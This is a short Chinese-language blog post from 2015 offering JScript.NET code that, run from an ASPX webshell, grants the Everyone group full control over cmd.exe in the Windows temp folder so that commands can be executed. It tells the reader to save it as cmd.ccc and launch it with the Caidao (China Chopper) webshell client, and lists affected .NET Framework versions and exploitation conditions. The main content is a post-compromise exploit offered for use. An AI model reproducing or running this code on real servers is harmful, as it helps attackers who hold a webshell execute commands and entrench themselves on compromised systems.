aspxshell下突破无可写可执行目录执行cmd

try
{

var strPath:String = "c:\\windows\\temp\\cmd.exe", strUser:String = "everyone";
var dirinfo:System.IO.DirectoryInfo = new System.IO.DirectoryInfo(strPath);

var dirsecurity:System.Security.AccessControl.DirectorySecurity = dirinfo.GetAccessControl();

dirsecurity.AddAccessRule(new System.Security.AccessControl.FileSystemAccessRule(strUser,
    System.Security.AccessControl.FileSystemRights.FullControl,
    System.Security.AccessControl.AccessControlType.Allow));

dirinfo.SetAccessControl(dirsecurity);
Response.Write(strPath+"\t权限添加成功!");

}catch(x){Response.Write(x.Message);}

  保存为cmd.ccc,使用菜刀自写脚本运行即可突破

受影响的版本为:

Microsoft .NET Framework 2.0 

Microsoft .NET Framework 3.5

Microsoft .NET Framework 3.5.1

Microsoft .NET Framework 4

Microsoft .NET Framework 4.5

Microsoft .NET Framework 4.5.1

 

利用条件:

1.需要支持aspx并且高于Microsoft .NET Framework 1.14版本

2.安全模式除外(现在还没有能突破.net安全模式的方法)

漏洞说明:该漏洞可直接赋予文件权限(让没权限的文件执行)

posted @ 2015-07-01 19:22  Hookjoy  阅读(927)  评论(0编辑  收藏  举报